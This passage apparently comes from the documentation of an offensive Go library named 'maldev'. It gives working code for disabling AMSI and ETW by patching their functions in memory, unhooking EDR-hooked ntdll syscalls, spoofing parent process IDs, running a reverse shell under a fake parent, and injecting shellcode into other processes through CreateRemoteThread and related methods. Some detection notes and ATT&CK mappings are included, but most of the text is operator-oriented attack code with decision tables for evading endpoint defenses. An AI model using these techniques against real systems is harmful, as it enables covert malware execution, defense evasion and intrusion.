errs := evasion.ApplyAll(preset.Stealth(), nil)
for name, err := range errs {
log.Printf("technique %q failed: %v (continuing)", name, err)
}
// ... your injector / loader runs here, with AMSI silent,
// ETW dropping events, and ntdll prologues clean.
}
What just happened, in order:
amsi.ScanBufferPatch()overwrote the entry ofAmsiScanBufferwithxor eax, eax; ret→ every AMSI scan from this process now returns "clean".etw.All()did the same toEtwEventWrite*andNtTraceEvent→ ETW providers receive no events from us.unhook.CommonClassic()ran 10 small reads of the on-diskntdll.dllto get clean prologue bytes for the typical EDR-hooked syscalls (NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, …) and patched the in-memory copies back to those bytes.
What this DOES NOT do:
- Hide the process. Process Hacker / Task Manager still see you.
Combine with
pe/masqueradefor that. - Defeat kernel-level callbacks. EDR drivers like
PsSetCreateProcessNotifysee your process spawn regardless of userland patches. Layer withevasion/kernel-callback-removalif you have admin and a BYOVD path. - Survive process restart. AMSI/ETW patches are per-process — every new process you spawn needs its own preset application.
For the irreversible "hardened" stack (ACG + BlockDLLs on top), see Aggressive below — apply it LAST after all RWX work is done, or your subsequent injection calls will fail.
Basic usage (one-liner)
errs := evasion.ApplyAll(preset.Stealth(), nil)
ApplyAllAggregated
func ApplyAllAggregated(techs []Technique, caller Caller) error
Companion to ApplyAll that folds the map[string]error of
per-technique failures into a single error whose .Error()
text lists every failing technique alphabetically, prefixed with
an N/M techniques failed counter. Returns nil when every
technique succeeded. Use this when the caller only wants a yes/no
signal + a single value to log or wrap.
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
)
func main() {
if err := evasion.ApplyAllAggregated(preset.Aggressive(), nil); err != nil {
log.Printf("evasion: %v", err)
// continue anyway — defense in depth, not a hard prereq.
}
}
End-to-end consumer:
examples/privesc-dll-hijack/amsi_windows.go::patchAMSI
collapses a 14-line ApplyAll + sort + fmt.Errorf block into
the one-liner above.
Hardened — Win11 24H2+ with CET shadow stacks
Sweet spot when the host enforces CET: AMSI + ETW + full ntdll unhook + CET opt-out, no irreversible per-process mitigations (ACG, BlockDLLs) so the implant can still inject after the preset runs.
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
caller := wsyscall.New(wsyscall.MethodIndirectAsm, wsyscall.NewHashGate())
defer caller.Close()
errs := evasion.ApplyAll(preset.Hardened(), caller)
_ = errs
}
CETOptOut standalone — pluck the technique into a custom stack
stack := []evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
preset.CETOptOut(), // no-op when cet.Enforced() == false
sleepmask.NewLocalForCurrentImage(),
}
_ = evasion.ApplyAll(stack, caller)
With indirect syscalls (Caller)
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
errs := evasion.ApplyAll(preset.Stealth(), caller)
for name, e := range errs {
log.Printf("%s: %v", name, e)
}
}
Aggressive preset — inject first, harden after
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
func run(shellcode []byte) error {
// Step 1: apply Stealth first so injection primitives are unhooked
evasion.ApplyAll(preset.Stealth(), nil)
// Step 2: do all injection / RWX allocation here
if err := inject.ThreadPoolExec(shellcode); err != nil {
return err
}
// Step 3: NOW apply Aggressive — ACG and BlockDLLs lock down the process
// No further RWX allocation is possible after this point
evasion.ApplyAll(preset.Aggressive(), nil)
return nil
}
Custom combination
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/evasion/unhook"
)
// Custom: AMSI + ETW + only the functions we actually call
techniques := []evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
unhook.Classic("NtAllocateVirtualMemory"),
unhook.Classic("NtCreateThreadEx"),
}
evasion.ApplyAll(techniques, nil)
Decision Matrix
| Scenario | Preset | Rationale |
|---|---|---|
| Script dropper, no injection | Minimal | AMSI+ETW is all that matters for script scanning |
| Reflective loader executing shellcode | Stealth | Needs unhooked NtAllocateVirtualMemory + NtCreateThreadEx |
| Process injection via APC | Stealth | Needs NtQueueApcThread unhooked |
| Thread hijacking | Stealth | Needs NtSetContextThread + NtResumeThread unhooked |
| Long-dwell implant, post-injection | Aggressive | ACG+BlockDLLs harden against EDR counter-injection |
| Red team final objective, assumed-breach | Aggressive | Maximum evasion depth warranted |
| EDR with heavy hook coverage suspected | Aggressive (Full unhook) | Full .text replacement vs. targeted 5-byte patches |
| Constrained environment, compatibility required | Minimal | No disk reads, no irreversible changes |
| Custom: known hook set | Manual composition | Build from individual techniques for minimal footprint |
Combined Example
Apply preset.Stealth() to unhook injection primitives, detonate a
shellcode payload, then lock the process down with preset.Aggressive()
so an EDR agent cannot counter-inject a monitoring DLL afterwards.
package main
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func run(shellcode []byte) error {
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()
// 1. Stealth first — AMSI/ETW silenced + Nt* prologues restored.
// The unhook pass uses indirect syscalls via `caller`, so the
// restore itself does not touch hooked NtProtectVirtualMemory.
if errs := evasion.ApplyAll(preset.Stealth(), caller); len(errs) > 0 {
for name, err := range errs {
log.Printf("stealth: %s: %v", name, err)
}
}
// 2. Inject while RWX allocation is still legal.
if err := inject.ThreadPoolExec(shellcode); err != nil {
return err
}
// 3. Aggressive last — ACG + BlockDLLs lock the process.
// No further VirtualAlloc(PAGE_EXECUTE_*) possible after this.
evasion.ApplyAll(preset.Aggressive(), caller)
return nil
}
Layered benefit: Stealth removes the EDR's ability to observe the injection (hooks gone, AMSI silent, ETW off), and Aggressive removes its ability to react afterwards (ACG blocks code injection, BlockDLLs blocks its module load) — the two presets cover detection and remediation without overlapping.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/preset is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Evasion area README
evasionumbrella — theTechniqueinterface every preset bundleswin/syscall— supplies the*Callerevery preset Technique consumes
PPID Spoofing
MITRE ATT&CK: T1134.004 -- Access Token Manipulation: Parent PID Spoofing | Detection: Medium -- Process tree anomalies are detectable but require behavioral analysis
TL;DR
When you spawn a child process, Windows records WHO spawned it
(ParentProcessId field). EDRs use this for detection: cmd.exe
spawned by explorer.exe looks normal; cmd.exe spawned by
excel.exe triggers a macro-attack alert.
PPID spoofing lies about the parent. The child appears in Process Hacker / Sysmon / EDR telemetry as if a chosen "benign" process spawned it.
| You want… | Use | Cost |
|---|---|---|
| Spoof PPID using the Go-1.24+ syscall.SysProcAttr.ParentProcess field | shell.NewPPIDSpoofer + FindTargetProcess + SysProcAttr | One OpenProcess(PROCESS_CREATE_PROCESS) call to the target parent |
| Use a specific parent PID (you already have one in mind) | spoofer.SetTargetPID(pid) then proceed as above | Same cost |
What this DOES achieve:
- Process tree shown in Process Hacker / Sysmon EID 1 / Get-Process tree all show the spoofed parent.
- Pattern-matching detections (
excel.exe → cmd.exe,winword.exe → powershell.exe) miss your child entirely. - Token, working directory, environment all unaffected — the child runs as YOUR user, not the spoofed parent's user. The lie is purely cosmetic on the parent field.
What this does NOT achieve:
- Doesn't elevate — your
OpenProcessto the spoofed parent must succeed. You can only spoof to parents you can open withPROCESS_CREATE_PROCESS. Same-integrity targets (other Medium IL processes) work; SYSTEM targets need SeDebugPrivilege. - Doesn't fool stack walking — EDRs that walk the calling
thread's stack on
NtCreateUserProcesssee YOUR process doing the spawn. Pair withevasion/callstack-spooffor that. - Doesn't fool ETW Provider Microsoft-Windows-Kernel-Process —
this provider logs the actual creator (the process that
called
NtCreateUserProcess), not the recorded parent. EDRs subscribed to it cross-check. - Doesn't survive deep telemetry — Sysmon's
ParentProcessGuidfield can be cross-referenced; sophisticated detection notices when the spoofed-parent's known children profile doesn't match.
Primer — vocabulary
Five terms recur on this page:
PPID (Parent Process ID) — the PID stored in a child process's
EPROCESS.InheritedFromUniqueProcessIdfield. Set by the kernel fromPROC_THREAD_ATTRIBUTE_PARENT_PROCESSat process-create time, OR (default) from the calling process's PID.
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS— the Win32STARTUPINFOEX.lpAttributeListslot that overrides PPID for aCreateProcesscall. Legitimate API — Microsoft uses it for service hosting. The presence of this attribute is NOT itself suspicious.
PROCESS_CREATE_PROCESSaccess right — the minimum handle right needed on the spoofed parent. Less thanPROCESS_ALL_ACCESS(so the OpenProcess audit signal is weaker). Most user-mode processes grant this to the same user.Process tree — the hierarchical view Process Hacker / Process Explorer / Sysmon EID 1 reconstruct from PPIDs. Spoofing rewrites where your child appears in this view.
SysProcAttr.ParentProcess— Go 1.24+ field onsyscall.SysProcAttrthat handles all thePROC_THREAD_ATTRIBUTE_LISTplumbing. Pre-1.24 you had to roll the attribute list manually.
Primer
When a process creates a child process on Windows, the child inherits its parent's identity in the process tree. Security tools use this parent-child relationship as a key detection signal. For example, if cmd.exe is spawned by explorer.exe, that looks normal -- the user opened a command prompt. But if cmd.exe is spawned by excel.exe, that is highly suspicious and likely indicates a macro-based attack.
PPID spoofing breaks this detection by lying about the parent. When creating a child process, we use the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to specify a different parent process handle. The child process appears in the process tree as if it was spawned by the chosen parent (e.g., explorer.exe or svchost.exe), even though our process actually created it.
This is a legitimate Windows API feature -- Go 1.24+ even added native support via syscall.SysProcAttr.ParentProcess.
How It Works
sequenceDiagram
participant Attacker as "Attacker (malware.exe)"
participant Explorer as "explorer.exe (PID 1234)"
participant Kernel as "Windows Kernel"
participant Child as "cmd.exe (child)"
Attacker->>Kernel: OpenProcess(PROCESS_CREATE_PROCESS, explorer PID)
Kernel-->>Attacker: hParent
Note over Attacker: Build PROC_THREAD_ATTRIBUTE_LIST<br>with PARENT_PROCESS = hParent
Attacker->>Kernel: CreateProcess(cmd.exe, EXTENDED_STARTUPINFO)
Kernel->>Child: Create process
Kernel-->>Child: ParentProcessId = 1234 (explorer)
Note over Child: Process tree shows:<br>explorer.exe → cmd.exe<br>(not malware.exe → cmd.exe)
Step-by-step:
- Find target parent -- Enumerate running processes to find a suitable legitimate parent (e.g.,
explorer.exe,svchost.exe). - OpenProcess(PROCESS_CREATE_PROCESS) -- Open the target with the minimum right needed for PPID spoofing.
- Build SysProcAttr -- Set
ParentProcessto the opened handle. Go 1.24+ handles thePROC_THREAD_ATTRIBUTE_LISTplumbing automatically. - CreateProcess -- Spawn the child process. Windows sets the child's
ParentProcessIdto the target, not the actual creator.
Default Targets
maldev searches for these processes in order (first match wins):
| Process | Why |
|---|---|
explorer.exe | Every interactive session has one. Most natural parent for user-facing apps. |
svchost.exe | Dozens of instances. Services spawning children is normal. |
sihost.exe | Shell Infrastructure Host. Present in every session. |
RuntimeBroker.exe | UWP broker. Common, low-profile parent. |
Usage
package main
import (
"fmt"
"os/exec"
"golang.org/x/sys/windows"
"github.com/oioio-space/maldev/c2/shell"
)
func main() {
spoofer := shell.NewPPIDSpoofer()
if err := spoofer.FindTargetProcess(); err != nil {
panic(err)
}
fmt.Printf("Spoofing parent to PID %d\n", spoofer.TargetPID())
attr, parentHandle, err := spoofer.SysProcAttr()
if err != nil {
panic(err)
}
defer windows.CloseHandle(parentHandle)
cmd := exec.Command("cmd.exe", "/c", "whoami")
cmd.SysProcAttr = attr
out, err := cmd.Output()
if err != nil {
panic(err)
}
fmt.Printf("Output: %s\n", out)
}
Custom Targets
// Target a specific process
spoofer := shell.NewPPIDSpooferWithTargets([]string{"winlogon.exe"})
if err := spoofer.FindTargetProcess(); err != nil {
// winlogon.exe requires SeDebugPrivilege to open
panic(err)
}
Integration with Reverse Shell
The PPID spoofer integrates naturally with c2/shell for reverse shell scenarios:
// The reverse shell can spawn under a spoofed parent,
// making the shell process appear as a child of explorer.exe
// in EDR process trees.
spoofer := shell.NewPPIDSpoofer()
spoofer.FindTargetProcess()
attr, handle, _ := spoofer.SysProcAttr()
defer windows.CloseHandle(handle)
cmd := exec.Command("cmd.exe")
cmd.SysProcAttr = attr
// ... bind to transport
Advantages & Limitations
| Aspect | Detail |
|---|---|
| Stealth | Medium -- fools basic process tree analysis, but advanced EDR can correlate the real creator via ETW ProcessStart events or kernel callbacks. |
| Compatibility | Windows Vista+ (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS). Go 1.24+ for native SysProcAttr.ParentProcess. |
| Privileges | PROCESS_CREATE_PROCESS on the target parent. For system processes (winlogon.exe, lsass.exe), SeDebugPrivilege is required. |
| Exploit Guard | Windows Exploit Guard / ASR rules can block PPID spoofing on hardened systems (Windows 10 22H2+). The test SKIPs in this case. |
| Scope | Only affects the parent PID in the process tree. The child still inherits the creator's token unless explicit token manipulation is also performed. |
| Go 1.24+ | Uses native syscall.SysProcAttr.ParentProcess -- no CGO, no manual attribute list management. |
Detection
Defenders can detect PPID spoofing via:
- ETW ProcessStart events -- The
CreatingProcessIdfield in the kernel event shows the real creator, not the spoofed parent. - Handle table analysis -- The creator must have an open handle to the target parent with
PROCESS_CREATE_PROCESS. - Behavioral anomalies -- A child process's token/session doesn't match the supposed parent's session.
- Sysmon Event ID 1 --
ParentProcessIdvsParentProcessGuidcan reveal mismatches.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/process/spawn is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Evasion area README
processtechniques (index) — sibling process-tampering primitivesprocess/tamper/fakecmd— companion lineage-spoof: pretty up the spawned child's CommandLine
Injection techniques
The inject/ package supplies a unified Windows + Linux injection
surface: 16 Windows methods, 3 Linux methods, plus a Pipeline pattern
for custom memory + executor combinations. Every method implements
Injector;
self-process methods additionally implement
SelfInjector
so the freshly-allocated region can be wired into
evasion/sleepmask or
cleanup/memory.WipeAndFree without
re-deriving address and size.
TL;DR
flowchart LR
SC[shellcode] --> M{target}
M -->|self| S[CreateThread / Fiber / EtwpCreateEtwThread / ThreadPool / Callback]
M -->|child suspended| C[EarlyBird APC / Thread Hijack / spoofed args]
M -->|existing PID| R[CRT / NtQueueApcThreadEx / SectionMap / KCT / PhantomDLL]
S -->|via SelfInjector| SM[evasion/sleepmask]
S -->|via SelfInjector| WM[cleanup/memory.WipeAndFree]
Primer — vocabulary
Seven terms recur across this page and the per-method docs:
Self / Local / Remote / Child — the four "target" classes any injection method falls into. Driven entirely by where the shellcode ends up running. See the table below for the per-class API surface.
Injector— interface every method implements:Inject(shellcode []byte) error. The constructor (NewWindowsInjector(cfg)orNewLinuxInjector(cfg)) wires the right method based onConfig.Method.
SelfInjector— extension interface for self-process methods:Region() (addr, size uintptr). Lets downstream consumers (sleepmask, WipeAndFree) recover the allocation without re-deriving it.
*wsyscall.Caller— optional knob (SyscallMethod) selecting how every NTAPI call resolves: WinAPI proc table (default) / direct syscall (asm stub) / indirect syscall (resolve SSN at runtime).nil= WinAPI fallback. Seewin/syscall.APC (Asynchronous Procedure Call) — Windows queue every thread carries; functions enqueued fire when the thread next enters an alertable wait. Several methods (Early Bird, NtQueueApcThreadEx) use the APC delivery path to avoid creating a new thread.
CREATE_SUSPENDED—CreateProcessflag that spawns the child in the suspended state. Threads are created but never resumed until the implant finishes mutating memory. Used by Early Bird, Thread Hijack, and Process Arg Spoofing.Stealth tier — qualitative ranking column in the index below. Combines target class + thread creation + WPM use: low (loud, easy to detect), medium (loses one of the three tells), high (avoids cross-process or thread creation entirely). Not a guarantee against any specific EDR.
Target categories
The target column drives the OPSEC trade-off and the API surface the implant pays for.
| Target | Meaning | Who pays the cost | Typical syscalls |
|---|---|---|---|
| Self | Shellcode runs in the current maldev-built process. | Implant's own process | none cross-process — VirtualAlloc + exec |
| Local | Same as Self, but the technique deliberately avoids spawning a new thread (callback abuse, pool work, module stomping). | Implant's own process | VirtualAlloc + EnumWindows / TpPostWork / stomp |
| Remote | Existing PID supplied by the caller. | Target PID | OpenProcess + VirtualAllocEx + WriteProcessMemory (or a section variant) + thread trigger |
| Child (suspended) | Implant spawns a process in CREATE_SUSPENDED, mutates state, resumes. | Newly-created child | CreateProcess(SUSPENDED) + write + resume / APC / hijack |
Stealth ranking by target (general): Local > Child (suspended) > Remote.
Local avoids cross-process primitives; Child is acceptable because the
process tree is predictable; Remote is the loudest — WriteProcessMemory
into an unrelated running process is a textbook EDR trigger.
Per-method index
| Technique | Method constant | Target | Creates thread? | Uses WriteProcessMemory? | Stealth tier |
|---|---|---|---|---|---|
| CreateRemoteThread | MethodCreateRemoteThread | Remote | yes | yes | low |
| Early Bird APC | MethodEarlyBirdAPC | Child (suspended) | no (APC) | yes | medium |
| Thread Hijack | MethodThreadHijack | Child (suspended) | no | yes | medium |
| NtQueueApcThreadEx | MethodNtQueueApcThreadEx | Remote | no (special APC) | yes | medium |
| Callback execution | ExecuteCallback | Local | no | no | high |
| Thread Pool | ThreadPoolExec | Local | no (pool worker) | no | high |
| Module Stomping | ModuleStomp | Local | caller decides | no | high |
| Section Mapping | SectionMapInject | Remote | yes | no | high |
| Phantom DLL | PhantomDLLInject | Remote (placement only) | no (caller) | yes | very high |
| Kernel Callback Table | KernelCallbackExec | Remote | no | yes | high |
| EtwpCreateEtwThread | MethodEtwpCreateEtwThread | Self | yes (internal) | no | high |
| Process Argument Spoofing | SpawnWithSpoofedArgs | Child (suspended) | n/a — disguise | yes | medium |
| Process Hollowing | Hollow | Child (suspended, image-replaced) | no (reuses spawn thread) | yes | moderate |
Decision flow
flowchart TD
Start([Need to run shellcode]) --> Q1{Self or remote?}
Q1 -->|self-inject| Q2{Need memory stealth?}
Q1 -->|remote process| Q3{Can spawn a new process?}
Q2 -->|yes — image-backed| MS[Module Stomping]
Q2 -->|no| Q4{Avoid thread creation?}
Q4 -->|yes| CB[Callback execution]
Q4 -->|pool is fine| TP[Thread Pool]
Q4 -->|thread is fine| ETW[EtwpCreateEtwThread]
Q3 -->|yes — cover for the spawn| Q5{Need APC stealth?}
Q3 -->|no — existing PID| Q6{Avoid WriteProcessMemory?}
Q5 -->|yes| EB[Early Bird APC]
Q5 -->|register-mutate| TH[Thread Hijack]
Q5 -->|disguise args too| AS[Process Arg Spoofing + EB/TH]
Q6 -->|yes| SM[Section Mapping]
Q6 -->|WPM is OK| Q7{Win10 1903+?}
Q7 -->|yes| APCEX[NtQueueApcThreadEx]
Q7 -->|either way| Q8{Target has windows?}
Q8 -->|yes| KC[KernelCallbackTable]
Q8 -->|no| CRT[CreateRemoteThread]
style MS fill:#2d5016,color:#fff
style SM fill:#2d5016,color:#fff
style CB fill:#2d5016,color:#fff
style TP fill:#2d5016,color:#fff
style KC fill:#2d5016,color:#fff
Quick decision tree
| You want to… | Use |
|---|---|
| …self-inject without spawning a thread | callback-execution.md |
| …self-inject through a thread-pool worker | thread-pool.md |
| …self-inject image-backed (memory looks like a normal module) | module-stomping.md |
| …spawn a clean new process and queue shellcode pre-init | early-bird-apc.md |
| …inject into an existing PID with WPM allowed | create-remote-thread.md |
| …inject into an existing PID without WriteProcessMemory | section-mapping.md |
| …blend with a mapped DLL on disk (path-spoof) | phantom-dll.md |
| …land in the GUI message-loop callback table | kernel-callback-table.md |
| …pivot via a hijacked existing thread | thread-hijack.md |
| …queue a Win10-1903+ APC (special) | nt-queue-apc-thread-ex.md |
| …disguise the spawned child's argv | process-arg-spoofing.md |
| …land via the EtwpCreateEtwThread trampoline | etwp-create-etw-thread.md |
Architecture
All methods implement Injector:
type Injector interface {
Inject(shellcode []byte) error
}
Build() returns a fluent
*InjectorBuilder
that selects syscall mode (WinAPI / NativeAPI / direct / indirect with
arbitrary SSNResolver), pins target,
stacks middleware (WithValidation, WithCPUDelay, WithXOR), and
emits an Injector.
inj, err := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\svchost.exe`).
IndirectSyscalls().
Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
Create()
The
Pipeline
pattern separates memory setup from execution, allowing mix-and-match
combinations the named methods do not cover:
p := inject.NewPipeline(
inject.RemoteMemory(hProcess, caller),
inject.CreateRemoteThreadExecutor(hProcess, caller),
)
return p.Inject(shellcode)
SelfInjector — recovering the region
Self-process injectors (MethodCreateThread, MethodCreateFiber,
MethodEtwpCreateEtwThread on Windows; MethodProcMem on Linux) place
the shellcode inside the current process. The base Injector interface
throws the address away. The optional SelfInjector interface exposes
it:
type Region struct {
Addr uintptr
Size uintptr
}
type SelfInjector interface {
Injector
InjectedRegion() (Region, bool)
}
Type-assert and feed the region directly into evasion/sleepmask:
inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
if err := inj.Inject(shellcode); err != nil { return err }
if self, ok := inj.(inject.SelfInjector); ok {
if r, ok := self.InjectedRegion(); ok {
mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
for {
mask.Sleep(30 * time.Second)
}
}
}
Contract:
- Returns
(Region{}, false)before the first successfulInject. - Returns
(Region{}, false)on cross-process methods (CRT, APC, EarlyBird, ThreadHijack, Rtl, NtQueueApcThreadEx) — the region lives in the target, not the implant. - A failed
Injectdoes not clobber a previously-published region. - Decorators (
WithValidation,WithCPUDelay,WithXOR) andPipelineforwardInjectedRegiontransparently.
[!WARNING]
MethodCreateFibernotice —ConvertThreadToFiberpermanently transforms the calling OS thread; Go's M:N scheduler is unaware of fibers, and any goroutine multiplexed onto that thread observes fiber state instead of goroutine state. Real shellcode that callsExitThreadkills the host runtime. Spawn a true OS thread viakernel32!CreateThread(notgo func()—runtime.LockOSThreadis not enough), let it run the fiber dance, let it die when the shellcode exits. The matrix testTestFiber_RealShellcodeis permanently skipped — see the comment ininject/realsc_windows_test.go.
Syscall modes
Every Windows injection method routes through one of the four modes
on the configured *wsyscall.Caller:
| Mode | Constant | Bypasses | Use when |
|---|---|---|---|
| WinAPI | wsyscall.MethodWinAPI | nothing | testing / no EDR |
| Native API | wsyscall.MethodNativeAPI | kernel32 hooks | light EDR |
| Direct syscall | wsyscall.MethodDirect | all userland hooks | medium EDR |
| Indirect syscall | wsyscall.MethodIndirect | userland hooks + CFG check | heavy EDR |
Pair with evasion/unhook to defeat
ntdll inline hooks before the inject fires.
MITRE ATT&CK
| T-ID | Name | Methods | D3FEND counter |
|---|---|---|---|
| T1055 | Process Injection | umbrella | D3-PSA |
| T1055.001 | DLL Injection | CRT, KCT, ModuleStomp, PhantomDLL, SectionMap, ThreadPool, Callback | D3-PSA / D3-PCSV |
| T1055.003 | Thread Execution Hijacking | ThreadHijack | D3-PSA |
| T1055.004 | Asynchronous Procedure Call | EarlyBird, NtQueueApcThreadEx | D3-PSA |
| T1055.015 | ListPlanting | Callback (CreateTimerQueueTimer) | D3-PCSV |
| T1564.010 | Process Argument Spoofing | SpawnWithSpoofedArgs | D3-PSA |
| T1036.005 | Match Legitimate Name or Location | combine with arg spoofing | D3-PSA |
See also
- Operator path: deciding the injection method
- Researcher path: per-method primitives
- Detection eng path: injection telemetry
win/syscall—Callerinterface and SSN resolvers.evasion/sleepmask— pair withSelfInjectorto mask the region during sleep.cleanup/memory— pair to wipe the region on exit.
CreateRemoteThread injection
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first (Self/Local/Remote/Child, Injector, *wsyscall.Caller, APC, stealth tier). Every per-method page assumes those terms.
TL;DR
The classic, reliable, highly monitored primitive: open a handle to the target PID, allocate RW memory, write the shellcode, flip to RX, spawn a fresh thread at the shellcode address. Works on every Windows version. Choose this only when stealth is not the priority — it is the single most-watched injection path in the matrix.
| Trait | Value |
|---|---|
| Target class | Remote (existing PID) |
| Creates a new thread? | Yes (NtCreateThreadEx or CreateRemoteThread) |
Uses WriteProcessMemory? | Yes (NtWriteVirtualMemory under the hood) |
| Stealth tier | Low — every API in the chain is hooked by every commercial EDR |
| Min Windows version | All supported (Win7+) |
| Quietest variant | wsyscall.MethodIndirect to bypass userland NTAPI hooks; pair with evasion/preset.Stealth for AMSI/ETW too |
When to pick a different method:
- Want to avoid
WriteProcessMemory? → Section Mapping - Want to avoid creating a thread? → NtQueueApcThreadEx, Kernel Callback Table
- Don't need cross-process? → Self-injection methods (Callback, ThreadPool, EtwpCreateEtwThread)
- Suspended child OK? → Early Bird APC, Thread Hijack
Primer
CreateRemoteThread is the textbook process injection. The library opens
a handle to a target PID with the four access rights that matter
(PROCESS_VM_OPERATION, PROCESS_VM_WRITE, PROCESS_VM_READ,
PROCESS_CREATE_THREAD), allocates a page of RW memory inside the
target's address space, copies the shellcode in, raises the page to RX,
and asks the kernel to spawn a fresh thread whose start address is the
shellcode pointer.
Every step has been a known-bad pattern for over a decade. Defender,
CrowdStrike, and SentinelOne hook every API in the chain plus the
kernel callback PsSetCreateThreadNotifyRoutine. The technique still
ships in this package because it is the baseline against which every
stealth method measures itself — and because some legitimate
debugging tools also use it, so a small amount of background noise
exists.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Tgt as "Target PID"
Impl->>Kern: OpenProcess(VM_*, CREATE_THREAD)
Kern-->>Impl: hProcess
Impl->>Kern: NtAllocateVirtualMemory(RW)
Kern->>Tgt: page allocated
Kern-->>Impl: remoteAddr
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Kern->>Tgt: bytes copied
Impl->>Kern: NtProtectVirtualMemory(RX)
Impl->>Kern: NtCreateThreadEx(remoteAddr)
Kern->>Tgt: new thread @ shellcode
Tgt->>Tgt: shellcode runs
Steps:
- Open the target with the four access rights.
- Allocate in the target via
NtAllocateVirtualMemory(RW — never raw RWX, that's an extra signature). - Write the shellcode with
NtWriteVirtualMemory. - Re-protect to RX with
NtProtectVirtualMemory. - Spawn with
NtCreateThreadEx(orCreateRemoteThreadif the caller selectedwsyscall.MethodWinAPI).
The package fans out steps 2–5 through the configured
*wsyscall.Caller, so the same code
runs through WinAPI, NativeAPI, direct syscalls, or indirect syscalls
depending on EDR posture.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
cfg := inject.DefaultWindowsConfig(inject.MethodCreateRemoteThread, 1234)
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)
Composed (indirect syscalls + caller chain)
Bypass userland hooks before the injection fires:
import (
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
inj, err := inject.Build().
Method(inject.MethodCreateRemoteThread).
TargetPID(targetPID).
IndirectSyscalls().
Resolver(wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate())).
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Advanced (encrypt + evade + inject + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
inj, err := inject.Build().
Method(inject.MethodCreateRemoteThread).
TargetPID(targetPID).
IndirectSyscalls().
Use(inject.WithXORKey(0x41)).
Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)
Complex (Pipeline with custom memory + executor)
When the named methods do not fit, drop down to the Pipeline:
mem := inject.RemoteMemory(hProcess, caller)
exec := inject.CreateRemoteThreadExecutor(hProcess, caller)
p := inject.NewPipeline(mem, exec)
return p.Inject(shellcode)
This separates "where the bytes land" from "how they get triggered" — swap either side independently to build novel chains.
See ExampleNewWindowsInjector and ExampleBuild in
inject_example_windows_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
OpenProcess with PROCESS_VM_* + PROCESS_CREATE_THREAD from a non-debugger process | Sysmon Event 10 (ProcessAccess), EDR kernel callback ObCallbackRegister |
Cross-process NtWriteVirtualMemory | Sysmon does not log this directly; EDR userland hooks + kernel ETW (Microsoft-Windows-Kernel-Process) |
NtCreateThreadEx start address outside any module image | EDR PsSetCreateThreadNotifyRoutine callback is the canonical detection — flags non-image-backed start addresses |
| Fresh remote thread with no legitimate call stack | Stack-walking telemetry (CrowdStrike, MDE) finds the orphan immediately |
RWX page in target after NtProtectVirtualMemory | Allocation-protect telemetry — the package avoids this by allocating RW first then flipping to RX, but the X-flip itself is logged |
D3FEND counters:
- D3-PSA
— process-spawn analysis correlates the
OpenProcess↔CreateThreadpair. - D3-EAL — code-integrity policies (WDAC) refuse non-image-backed thread start addresses.
Hardening for the operator: route all four NT calls through indirect
syscalls (defeats userland hooks), unhook ntdll first
(evasion/unhook), and prefer a different technique entirely if the
target enforces ETW-Ti (Threat-Intelligence ETW provider). CRT remains
useful only against light EDR or as a deliberately-loud feint.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
